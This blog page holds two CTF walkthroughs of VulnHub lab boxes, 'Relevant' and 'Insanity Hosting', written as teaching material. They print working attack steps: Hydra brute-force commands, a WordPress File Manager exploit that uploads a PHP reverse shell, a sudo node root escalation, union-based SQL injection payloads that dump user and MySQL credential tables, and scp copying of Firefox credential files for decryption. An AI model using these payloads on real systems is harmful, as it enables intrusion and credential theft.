Categories
Walkthroughs

Relevant – CTF Walkthrough

It’s been a while since I’ve done a CTF from VulnHub. Life has been busy but I’ve also been doing a few boxes on Offensive Security Proving Grounds. I’ve cancelled my subscription for now though as I still think it needs a bit of work unfortunately before it fully competes with Hack The Box or Try Hack Me, but I’ll give it another go in the future.

Anyway, here is my experience rooting the Relevant CTF.

Initial Enumeration

I started off with an NMAP scan. This identified two open ports.

nmap -p- 192.168.56.102

The open ports were SSH (22), and HTTP (80).

I figured the web server running on port 80 was probably more interesting than the SSH server, so I loaded up my browser and visited the main page.

Main page for Relevant CTF

This showed a database connection error with a message indicating that the website had been compromised already. As you can see, there were three links. I visited the first link, and was directed to a YouTube video which was a cover for “Never Gonna Give You Up” by Rick Astley. Two minutes into the CTF challenge and I’ve already been Rickrolled. Thanks for that.

Never Gonna Give you Up – By Rick Astley (a cappella cover)

After being rickrolled, I visited the second link which appeared to be a dump of credentials on PasteBin.

I saved the users from this dump into /tmp/users.txt, and the passwords in /tmp/passwd.txt. Given we know the SSH service is running on port 22, I decided to use Hydra to brute force SSH.

hydra -l /tmp/users.txt -p /tmp/passwd.txt ssh://192.168.56.102

Unfortunately, this returned no valid SSH credentials.

I moved onto the final link, which appeared to be a QR code.

I found a website where you can decode QR codes. This showed that the raw text contained within the QR code started with “otpauth://”.

I recognised this prefix – this is a One Time Passcode key used to generate one time passcodes. You can therefore scan this QR code using an app such as Google Authenticator which will then generate a one time passcode every 30 seconds or so. I didn’t know what I needed this OTP key for, but kept it for reference in case I needed it further into the CTF challenge.

GoBuster

As mentioned in one of my previous CTF walk-through articles, I’ve created my own script (called OTT) which rather simply runs GoBuster commands against a set of wordlists. This saves me time writing out the GoBuster commands and checks against various wordlists saving a lot of time. To run the command below, you will need to download the OTT script or instead use GoBuster.

ott http://192.168.56.102/ 50

This revealed a few directories such as wp-admin and wp-content revealing this is probably a WordPress website. We know we can use a tool called WPScan to check for vulnerable WordPress versions, plugins, and themes. I suspected that I may run into challenges with this given the front page of the website is showing a database connection error.

wpscan --url http://192.168.56.102 -e at,ap,u --api-token REDACTED

I ran this command which immediately halted the scan as it did not detect a WordPress installation. I suspected this may be due to the database being offline or the modified front page.

A quick check of the man pages for wpscan (man wpscan) identified you can use the –force option to skip wpscan checking whether we are targeting a WordPress website or not. I appended this option to the command, and the scan started running. It identified the WordPress version quite quickly and started scanning for themes and plugins, but it did not find anything vulnerable.

I noticed that WPScan only appeared to be using ‘passive methods’ for plugin enumeration, even though ‘themes’ were being scanned aggressively. I looked at the man pages for WPScan again and worked out that you can add an option to your command to scan plugins aggressively (–plugins-detection aggressive). I added this option to my command and ran it again; after letting the scan run for some time, it identified a vulnerable plugin called File Manager. The vulnerability type was Remote Code Execution.

I recall seeing about this vulnerability in recent news. It’s a very popular WordPress plugin so it gained a lot of attention when this vulnerability was identified.

I visited the first URL WPScan suggested for information.

https://wpvulndb.com/vulnerabilities/10389

This page had a proof of concept script. It appears the script uploads a file called ‘payload.php’ to the web server. I therefore downloaded the Pentestmonkey PHP Reverse Shell and renamed it to payload.php to upload my own payload.

python3 2020-wp-file-manager-v67.py http://192.168.56.102/

I executed the script which uploaded the file successfully.

The file path it gave me though returned a 404 error, so I had to do a bit of digging to find out where the files were actually saved. The correct path is /wp-content/plugins/wp-file-manager/lib/files/payload.php.

I span up my listener using Netcat, visited the payload.php file, and had a shell. As always, I spawned a tty shell using python.

python3.8 -c 'import pty; pty.spawn("/bin/bash")'

We have a shell

Now I had a shell, I needed to work out how to escalate my privileges. Sometimes, you can escalate directly to root. Other times, you have to pivot to another user on the system before being able to get root access.

At this stage, I didn’t know what I would need to escalate my privileges. I started to run a few basic checks.

  • Sudo commands (sudo -l) – this revealed no commands I could run
  • SUID Checks (find / -perm -u=s -type f 2>/dev/null) – this revealed no interesting binaries with the SUID bit set.
  • Loading pspy on the system to check if any cron jobs were running

These checks revealed nothing of use, so I proceeded to check /etc/passwd and review the /home directory to see what users were on the system.

The home directory showed a few user folders. I had a look around each one. I observed two things:

  • The ‘patsy’ user had a file called .google_authenticator – this was interesting given we already had a key for generating OTP’s. Perhaps we need to pivot to this user?
  • The ‘relevant’ user had a file called .sudo_as_admin_successful – could this indicate this user has sudo access? Perhaps this was the user we needed to pivot to?

I needed to find a way to pivot to one of these users. I decided to check for files the three users owned to see if that could assist me with the pivoting.

find / -user h4x0r

This identified something of interest which I didn’t spot when enumerating this user folder initially.

Can you spot it? The user has a file called ‘note.txt’ which seems to be well hidden.

I output the file using my shell, which showed a user and password hash. I didn’t spot the ‘news’ user in my initial checks but I double checked the passwd file on the system and confirmed the user ‘news’ did indeed exist.

I input the hash into https://crackstation.net/ which revealed the password. I was then able to switch user using the su command and the newly unhashed password.

Getting root

Once I successfully switched to the ‘news’ user, I decided to run a few standard checks again. I started by checking which commands the user could run using sudo (sudo -l).

This revealed /usr/bin/node.

I’ve not seen this binary before, but a quick check of GTFOBins revealed I could run a simple command to escalate to root.

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'

I ran this command, which elevated my permissions straight to the root user.

I enjoyed this CTF – I didn’t find it too challenging but it was fun to see a few different things I haven’t come across before. Thanks to @iamv1nc3nt for the CTF!

By the way, I didn’t end up using the One Time Passcode, which makes me wonder if this box has alternative routes? Who knows…

Categories
My CTF Walkthroughs Walkthroughs

Insanity Hosting – Writeup

Here is a writeup of BootlessHacker’s 5th box Insanity Hosting – written by spongy.

Before we get into the box – I am going to give a high level summary of what the box entails; brute forcing, sql injection (unusual way), avoiding the obvious finding credentials and avoiding the rabbit holes with privilege escalation. I am going to hide credentials in this writeup but provide the method to retrieve them.

Once I established my IP address I ran my nmap scan:

#Top 1000 scan
nmap -A -oA nmap/1000 192.168.0.36

#Once this completed I let a full TCP scan run
nmap -p- 192.168.0.36 -T4

As we can see we have 3 ports open:

  • 21 – FTP (with anonymous access)
  • 22 – SSH
  • 80 – HTTP

With the full TCP scan not showing any more ports I proceeded to dig into the services found starting with FTP.

ftp 192.168.0.36
Enter username > anonymous
Enter password > anonymous

Looking at the image above we can see that the only contents of this FTP directory is a folder called “pub” which was also empty inside. I then tried to upload a file from my Kali machine into the FTP directory but had an access denied message. This appeared to be the first of many rabbit holes – thankfully not too much time wasted here.

I then moved onto HTTP as we do not have any credentials for SSH. So I went to http://192.168.0.36/ and got presented with the following page.

In the image above we can see that we have a potential host name of insanityhosting.vm. There is a link to the “/monitoring” directory in the source – however I decided to run gobuster at this point.

#I typically start with either common.txt or big.txt
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://192.168.0.36/
  • /monitoring
  • /news
  • /phpmyadmin
  • /webmail

The above 4 were all interesting to check out – I started at the top and worked down.

/monitoring

I tried some default credentials and some basic SQL Injection techniques to try and trigger some abnormal behaviour, but nothing happened. I did notice that when I browsed here, I was redirected to login.php so I then ran gobuster on the /monitoring directory and found the following.

Although I couldn’t view the contents of anything I was starting to build a picture. Inside /class was a file called ping.php and we can see in the image above cron.php. To me this sounded like it would be our way forward but we needed to find credentials.

/news

In the image we can see that the page hasn’t rendered correctly and that is because we do not have the insanityhosting.vm or www.insanityhosting.vm host names set up in our /etc/hosts file. Also, importantly – we found a potential username Otis.

sudo vim /etc/hosts

#Once inside I added the following:

192.168.0.36    insanityhosting.vm www.insanityhosting.vm

At this point I made a note that if I found nothing else valuable, I would use wfuzz to brute force looking for additional virtual hosts. Once I added the hosts record and refreshed the page it looked normal.

We can also see that this page is running Bludit. Running gobuster we find an /admin directory. Navigating here I find the Bludit login page. I have done a box recently where you can manipulate the headers of a request and brute force Bludit without getting locked out. The PoC code is here: https://rastating.github.io/bludit-brute-force-mitigation-bypass/

I modified the code to accept a list I provided it and adjusted the usual variables like the address and username. I let the script run on the top 10,000 passwords of rockyou with the username Otis but didn’t have any hits.

/phpmyadmin

Here I tried the default credentials for phpmyadmin and some other common combinations, but nothing worked. However, if you type any random word as a username and have a blank password you can log in. See below.

However as we can see – nothing useful in here at the moment as we cannot see any other tables apart from information_schema ones.

/webmail

We can see that this is SquirrelMail and we have the version number 1.4.22 – I did look on searchsploit for an exploit but again we do not have any valid credentials at this point so we are heading for a brute force.

/monitoring – brute force

So, we know we have a potential username Otis – I load up burp and intercept a random guess just to get the POST request details allowing me to build the hydra command. We also know that no error message appears with wrong username or password – however we still see the “Sign In” text so I used that instead.

hydra -l otis -P /usr/share/wordlists/rockyou.txt 192.168.0.36 http-post-form '/monitoring/index.php:username=^USER^&PASSWORD=^PASS^&Login=Login:Sign In'

Within a couple of seconds Hydra returns the credentials ******. I was then able to log into the monitoring page.

Just looking at this page I started to piece together what we had found earlier (cron.php and ping.php) – my guess was that we can enter our address here and we will receive a “ping” from this box every X minutes.

To test this, I clicked the “Add New” button and entered my IP Address and gave it a name. Next on Kali I started listening for ICMP requests.

sudo tcpdump icmp

As we can see, after 1 minute we get a ping from the insanityhosting.vm. So, my immediate thought is Command Injection. If we can append a new command to the existing ping, we will have a way of executing code on this box.

#These are just a few of the injections I tried appending with
;
&
&&
|
`
$(<command>)

Using the above syntax – I was unsuccessful in trying to get command execution.

My next trail of thought was to check the credentials we now have with other services running – the credentials also worked on the /webmail directory.

As we can see from the image – we have some emails to read. Below is a picture of the latest email we had. We receive and email whenever it fails to ping a host. I have highlighted a section of interest. There are 4 fields which I think we can assume are read from a database. If this is true then if we can find an injection point, we may be able to conduct SQL Injection and display the output through the emails we receive.

My idea was that the code would be doing something along these lines.

foreach record in hosts

    if CheckHostIsUp(record.ipAddress)
            success
    else
            recordset = getLogsFromSql(record.host)
            sendMail(recordset)
        
I imagined that "getLogsFromSql" was a query like the following

select * from logs where host = "localhost"

I personally find writing and mapping it out makes it easier to visualise and help plan the next step of exploiting it.

Back on the /monitoring page I added a few new “hosts” all with a few techniques in to try and retrieve results.

Unfortunately, I didn’t get any hits – I did add more than this but had nothing back. However, I did notice that with these names I was not getting any email at all which meant that I was causing abnormal behaviour in the application, so it was looking promising. Now rather than manually go through each injection string and add it as a host – I had an idea. There is a wordlist on Kali in this directory /usr/share/wfuzz/wordlist/Injections/SQL.txt which contains some common tests. To speed up the process, I took around 30 out of this file and into a new file. The reason I did this was so that we do not get flooded with huge volumes of emails every minute all with the same Subject.

Once the 30 were in a new file – I loaded up burp and then intercepted myself adding a new host. I sent the request to Intruder and then set my payload position on just name.

Loaded my file of SQL Injection tests into the payload options.

Then started the attack and waited a few minutes to see what emails I had come through (if any).

We can see we have lots more entries now all added as hosts. I also started to received emails and looking through them I found the syntax which done exactly what we wanted.

That email is now leaking the rest of the contents of that table to us with the injection method of " or "a"="a

I won’t show screenshot for every query I ran next – but essentially we needed to figure out what tables were in the database, the columns those tables had and then read the values.

#Find the name of tables that exist
aaa" union select 1, concat(table_schema,".",table_name),null,null from information_schema.tables -- -
#This showed some application tables - most notable was 'users'
aaa" union select 1, column_name,null,null from information_schema.columns where table_name = "users"-- -
#Here we found the columns were ID,username,password and email
aaa" union select 1, concat(username,":",password,":",email),null,null from users -- -

As we can see we have successfully dumped out the contents of the “users” table. I took the hashes and attempted to crack the two new credentials with John.

john --wordlist=/usr/share/wordlists/rockyou.txt <hashFile>

I left them run for around 10-15 minutes. This didn’t seem normal for a CTF, so I continued to enumerate the database and took a look in the mysql.user table. Here we found another user and credentials.

#Code to add to as a "host"
aaa" union select 1, concat(user,":",password,":",authentication_string), null,null from mysql.user -- -

Then I added the non-root users credentials to a text file and attempted to crack with John – these cracked straight away.

SSH & Privilege Escalation

With our new credentials – I was able to SSH onto the machine. Once on here I started to do some manual enumeration first to see if I spotted anything obvious before using an automated script.

There are multiple users on the machine – more notable that Nicholas is part of a dockerroot group.

We can see we have some internal ports open 9000 and 10000. 9000 was PHP-FPM but more interestingly 10000 was Webmin. I exited out of my SSH session and then port forwarded port 10000.

ssh -L 10000:127.0.0.1:10000 ******@192.168.0.36

Then on my Kali machine I opened Firefox and went to http://127.0.0.1:10000

I found myself at another login page and the credentials I had didn’t work. So, it was a case of going back to the machine and continue to enumerate more.

After all findings led to dead ends – I then got linpeas and pspy onto the machine. I ran linpeas and didn’t really find anything else useful. Running pspy was also not too insightful as any files root was running, we had no way of manipulating it to our advantage.

After SLOWLY going over linpeas for a second time – I did notice something that was unordinary on a CTF. Mozilla Firefox was installed on the machine. I know that it is possible to extract passwords from Firefox using this tool https://github.com/unode/firefox_decrypt

The files I needed to make this work were all in the home directory of our user.

I then used scp to transfer each of the 4 files back to my Kali machine

scp cert9.db spongy@192.168.0.102:/home/spongy/vulnhub/insanity-hosting/firefox-files/
scp cookies.sqlite spongy@192.168.0.102:/home/spongy/vulnhub/insanity-hosting/firefox-files/
scp key4.db spongy@192.168.0.102:/home/spongy/vulnhub/insanity-hosting/firefox-files/
scp logins.json spongy@192.168.0.102:/home/spongy/vulnhub/insanity-hosting/firefox-files/

Next it was a simple case of running the tool we got from GitHub.

sudo python firefox_decrypt.py ~/vulnhub/insanity-hosting/firefox-files/

We now had root credentials. So we simply need to switch user to root.

su root
Enter Password > ********************

The password works and we are now root.

Summary

Overall a really great box. Especially liked the SQL Injection challenge and a box full of rabbit holes which you could easily fall into. Really fun and and top quality. Thanks BootlessHacker!!